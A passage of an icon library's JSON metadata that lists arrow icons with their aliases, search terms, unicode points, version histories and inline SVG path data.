        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M214.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 109.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V109.3l73.4 73.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-128-128z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M214.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 109.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V109.3l73.4 73.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-128-128z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-right-dots": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["growth", "increase", "population"]
    },
    "styles": ["solid"],
    "unicode": "e4b7",
    "label": "Arrow Up Right Dots",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h50.7L9.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L256 109.3V160c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H160zM576 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM448 208a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM400 384a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm48 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm128 0a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM272 384a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm48 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM144 512a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM576 336a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm-48-80a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h50.7L9.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L256 109.3V160c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H160zM576 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM448 208a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM400 384a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm48 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm128 0a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM272 384a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm48 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM144 512a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM576 336a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm-48-80a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-right-from-square": {
    "aliases": {
      "names": ["external-link"],
      "unicodes": {
        "secondary": ["10f08e"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["new", "open", "send", "share"]
    },
    "styles": ["solid"],
    "unicode": "f08e",
    "label": "Arrow Up Right From Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-short-wide": {
    "aliases": {
      "names": ["sort-amount-up-alt"],
      "unicodes": {
        "secondary": ["10f885"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "order", "sort-amount-desc"]
    },
    "styles": ["solid"],
    "unicode": "f885",
    "label": "Arrow Up Short Wide",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M151.6 42.4C145.5 35.8 137 32 128 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L96 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H320zm0 128c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H320zm0 128c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H320zm0 128c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H320z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M151.6 42.4C145.5 35.8 137 32 128 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L96 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H320zm0 128c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H320zm0 128c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H320zm0 128c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H320z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-wide-short": {
    "aliases": {
      "names": ["sort-amount-up"],
      "unicodes": {
        "secondary": ["10f161"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "order", "sort-amount-desc"]
    },
    "styles": ["solid"],
    "unicode": "f161",
    "label": "Arrow Up Wide Short",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M151.6 42.4C145.5 35.8 137 32 128 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L96 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 480h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32zm0-128h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32zm0-128H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32zm0-128H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M151.6 42.4C145.5 35.8 137 32 128 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L96 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 480h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32zm0-128h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32zm0-128H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32zm0-128H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-z-a": {
    "aliases": {
      "names": ["sort-alpha-up-alt"],
      "unicodes": {
        "secondary": ["10f882"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["alphabetical", "arrange", "filter", "order", "sort-alpha-desc"]
    },
    "styles": ["solid"],
    "unicode": "f882",
    "label": "Arrow Up Z A",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M183.6 42.4C177.5 35.8 169 32 160 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L128 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 64c0 17.7 14.3 32 32 32h50.7l-73.4 73.4c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H429.3l73.4-73.4c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H352c-17.7 0-32 14.3-32 32zm96 192c-12.1 0-23.2 6.8-28.6 17.7l-64 128-16 32c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3l7.2-14.3h88.4l7.2 14.3c7.9 15.8 27.1 22.2 42.9 14.3s22.2-27.1 14.3-42.9l-16-32-64-128C439.2 262.8 428.1 256 416 256zM395.8 400L416 359.6 436.2 400H395.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M183.6 42.4C177.5 35.8 169 32 160 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L128 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 64c0 17.7 14.3 32 32 32h50.7l-73.4 73.4c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H429.3l73.4-73.4c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H352c-17.7 0-32 14.3-32 32zm96 192c-12.1 0-23.2 6.8-28.6 17.7l-64 128-16 32c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3l7.2-14.3h88.4l7.2 14.3c7.9 15.8 27.1 22.2 42.9 14.3s22.2-27.1 14.3-42.9l-16-32-64-128C439.2 262.8 428.1 256 416 256zM395.8 400L416 359.6 436.2 400H395.8z"
      }
    },
    "free": ["solid"]
  },
  "arrows-down-to-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["scale down", "sink"]
    },
    "styles": ["solid"],
    "unicode": "e4b8",
    "label": "Arrows Down To Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M544 416L32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32l512 0c17.7 0 32-14.3 32-32s-14.3-32-32-32zm22.6-137.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L480 274.7 480 64c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 210.7-41.4-41.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l96-96zm-320-45.3c-12.5-12.5-32.8-12.5-45.3 0L160 274.7 160 64c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 210.7L54.6 233.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l96-96c12.5-12.5 12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M544 416L32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32l512 0c17.7 0 32-14.3 32-32s-14.3-32-32-32zm22.6-137.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L480 274.7 480 64c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 210.7-41.4-41.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l96-96zm-320-45.3c-12.5-12.5-32.8-12.5-45.3 0L160 274.7 160 64c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 210.7L54.6 233.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l96-96c12.5-12.5 12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "arrows-down-to-people": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "focus", "targeted"]
    },
    "styles": ["solid"],
    "unicode": "e4b9",
    "label": "Arrows Down To People",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 0c-13.3 0-24 10.7-24 24V142.1L97 119c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0l64-64c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-23 23V24c0-13.3-10.7-24-24-24zM360 200a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zM184 296a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zm312 40a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM200 441.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-36.3-67.5c1.7-1.7 3.2-3.6 4.3-5.8L264 345.5V400c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V345.5l26.9 49.9c1.2 2.2 2.6 4.1 4.3 5.8l-36.3 67.5c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L440 441.5V480c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V441.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-37.9-70.3c-15.3-28.5-45.1-46.3-77.5-46.3H486.2c-16.3 0-31.9 4.5-45.4 12.6l-33.6-62.3c-15.3-28.5-45.1-46.3-77.5-46.3H310.2c-32.4 0-62.1 17.8-77.5 46.3l-33.6 62.3c-13.5-8.1-29.1-12.6-45.4-12.6H134.2c-32.4 0-62.1 17.8-77.5 46.3L18.9 468.6c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L88 441.5V480c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V441.5zM415 153l64 64c9.4 9.4 24.6 9.4 33.9 0l64-64c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-23 23V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V142.1l-23-23c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144 0c-13.3 0-24 10.7-24 24V142.1L97 119c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0l64-64c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-23 23V24c0-13.3-10.7-24-24-24zM360 200a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zM184 296a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zm312 40a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM200 441.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-36.3-67.5c1.7-1.7 3.2-3.6 4.3-5.8L264 345.5V400c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V345.5l26.9 49.9c1.2 2.2 2.6 4.1 4.3 5.8l-36.3 67.5c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L440 441.5V480c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V441.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-37.9-70.3c-15.3-28.5-45.1-46.3-77.5-46.3H486.2c-16.3 0-31.9 4.5-45.4 12.6l-33.6-62.3c-15.3-28.5-45.1-46.3-77.5-46.3H310.2c-32.4 0-62.1 17.8-77.5 46.3l-33.6 62.3c-13.5-8.1-29.1-12.6-45.4-12.6H134.2c-32.4 0-62.1 17.8-77.5 46.3L18.9 468.6c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L88 441.5V480c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V441.5zM415 153l64 64c9.4 9.4 24.6 9.4 33.9 0l64-64c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-23 23V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V142.1l-23-23c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9z"
      }
    },
    "free": ["solid"]
  },
  "arrows-left-right": {
    "aliases": {
      "names": ["arrows-h"],
      "unicodes": {
        "secondary": ["10f07e"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["expand", "horizontal", "landscape", "resize", "wide"]
    },
    "styles": ["solid"],
    "unicode": "f07e",
    "label": "Arrows Left Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M406.6 374.6l96-96c12.5-12.5 12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 224l-293.5 0 41.4-41.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 288l293.5 0-41.4 41.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M406.6 374.6l96-96c12.5-12.5 12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 224l-293.5 0 41.4-41.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 288l293.5 0-41.4 41.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "arrows-left-right-to-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["analysis", "expand", "gap"]
    },
    "styles": ["solid"],
    "unicode": "e4ba",
    "label": "Arrows Left Right To Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 64c17.7 0 32 14.3 32 32l0 320c0 17.7-14.3 32-32 32s-32-14.3-32-32V96C0 78.3 14.3 64 32 64zm214.6 73.4c12.5 12.5 12.5 32.8 0 45.3L205.3 224l229.5 0-41.4-41.4c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3l-96 96c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L434.7 288l-229.5 0 41.4 41.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-96-96c-12.5-12.5-12.5-32.8 0-45.3l96-96c12.5-12.5 32.8-12.5 45.3 0zM640 96V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V96c0-17.7 14.3-32 32-32s32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 64c17.7 0 32 14.3 32 32l0 320c0 17.7-14.3 32-32 32s-32-14.3-32-32V96C0 78.3 14.3 64 32 64zm214.6 73.4c12.5 12.5 12.5 32.8 0 45.3L205.3 224l229.5 0-41.4-41.4c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3l-96 96c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L434.7 288l-229.5 0 41.4 41.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-96-96c-12.5-12.5-12.5-32.8 0-45.3l96-96c12.5-12.5 32.8-12.5 45.3 0zM640 96V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V96c0-17.7 14.3-32 32-32s32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "arrows-rotate": {
    "aliases": {
      "names": ["refresh", "sync"],
      "unicodes": {
        "composite": ["1f5d8"],
        "secondary": ["10f021"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.8.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Clockwise Right and Left Semicircle Arrows",
        "exchange",
        "refresh",
        "reload",
        "rotate",
        "swap"
      ]
    },
    "styles": ["solid"],
    "unicode": "f021",
    "label": "Arrows Rotate",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M105.1 202.6c7.7-21.8 20.2-42.3 37.8-59.8c62.5-62.5 163.8-62.5 226.3 0L386.3 160H336c-17.7 0-32 14.3-32 32s14.3 32 32 32H463.5c0 0 0 0 0 0h.4c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32s-32 14.3-32 32v51.2L414.4 97.6c-87.5-87.5-229.3-87.5-316.8 0C73.2 122 55.6 150.7 44.8 181.4c-5.9 16.7 2.9 34.9 19.5 40.8s34.9-2.9 40.8-19.5zM39 289.3c-5 1.5-9.8 4.2-13.7 8.2c-4 4-6.7 8.8-8.1 14c-.3 1.2-.6 2.5-.8 3.8c-.3 1.7-.4 3.4-.4 5.1V448c0 17.7 14.3 32 32 32s32-14.3 32-32V396.9l17.6 17.5 0 0c87.5 87.4 229.3 87.4 316.7 0c24.4-24.4 42.1-53.1 52.9-83.7c5.9-16.7-2.9-34.9-19.5-40.8s-34.9 2.9-40.8 19.5c-7.7 21.8-20.2 42.3-37.8 59.8c-62.5 62.5-163.8 62.5-226.3 0l-.1-.1L125.6 352H176c17.7 0 32-14.3 32-32s-14.3-32-32-32H48.4c-1.6 0-3.2 .1-4.8 .3s-3.1 .5-4.6 1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M105.1 202.6c7.7-21.8 20.2-42.3 37.8-59.8c62.5-62.5 163.8-62.5 226.3 0L386.3 160H336c-17.7 0-32 14.3-32 32s14.3 32 32 32H463.5c0 0 0 0 0 0h.4c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32s-32 14.3-32 32v51.2L414.4 97.6c-87.5-87.5-229.3-87.5-316.8 0C73.2 122 55.6 150.7 44.8 181.4c-5.9 16.7 2.9 34.9 19.5 40.8s34.9-2.9 40.8-19.5zM39 289.3c-5 1.5-9.8 4.2-13.7 8.2c-4 4-6.7 8.8-8.1 14c-.3 1.2-.6 2.5-.8 3.8c-.3 1.7-.4 3.4-.4 5.1V448c0 17.7 14.3 32 32 32s32-14.3 32-32V396.9l17.6 17.5 0 0c87.5 87.4 229.3 87.4 316.7 0c24.4-24.4 42.1-53.1 52.9-83.7c5.9-16.7-2.9-34.9-19.5-40.8s-34.9 2.9-40.8 19.5c-7.7 21.8-20.2 42.3-37.8 59.8c-62.5 62.5-163.8 62.5-226.3 0l-.1-.1L125.6 352H176c17.7 0 32-14.3 32-32s-14.3-32-32-32H48.4c-1.6 0-3.2 .1-4.8 .3s-3.1 .5-4.6 1z"
      }
    },
    "free": ["solid"]
  },
  "arrows-spin": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cycle", "rotate", "spin", "whirl"]
    },
    "styles": ["solid"],
    "unicode": "e4bb",
    "label": "Arrows Spin",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 96c38.4 0 73.7 13.5 101.3 36.1l-32.6 32.6c-4.6 4.6-5.9 11.5-3.5 17.4s8.3 9.9 14.8 9.9H448c8.8 0 16-7.2 16-16V64c0-6.5-3.9-12.3-9.9-14.8s-12.9-1.1-17.4 3.5l-34 34C363.4 52.6 312.1 32 256 32c-10.9 0-21.5 .8-32 2.3V99.2c10.3-2.1 21-3.2 32-3.2zM132.1 154.7l32.6 32.6c4.6 4.6 11.5 5.9 17.4 3.5s9.9-8.3 9.9-14.8V64c0-8.8-7.2-16-16-16H64c-6.5 0-12.3 3.9-14.8 9.9s-1.1 12.9 3.5 17.4l34 34C52.6 148.6 32 199.9 32 256c0 10.9 .8 21.5 2.3 32H99.2c-2.1-10.3-3.2-21-3.2-32c0-38.4 13.5-73.7 36.1-101.3zM477.7 224H412.8c2.1 10.3 3.2 21 3.2 32c0 38.4-13.5 73.7-36.1 101.3l-32.6-32.6c-4.6-4.6-11.5-5.9-17.4-3.5s-9.9 8.3-9.9 14.8V448c0 8.8 7.2 16 16 16H448c6.5 0 12.3-3.9 14.8-9.9s1.1-12.9-3.5-17.4l-34-34C459.4 363.4 480 312.1 480 256c0-10.9-.8-21.5-2.3-32zM256 416c-38.4 0-73.7-13.5-101.3-36.1l32.6-32.6c4.6-4.6 5.9-11.5 3.5-17.4s-8.3-9.9-14.8-9.9H64c-8.8 0-16 7.2-16 16l0 112c0 6.5 3.9 12.3 9.9 14.8s12.9 1.1 17.4-3.5l34-34C148.6 459.4 199.9 480 256 480c10.9 0 21.5-.8 32-2.3V412.8c-10.3 2.1-21 3.2-32 3.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
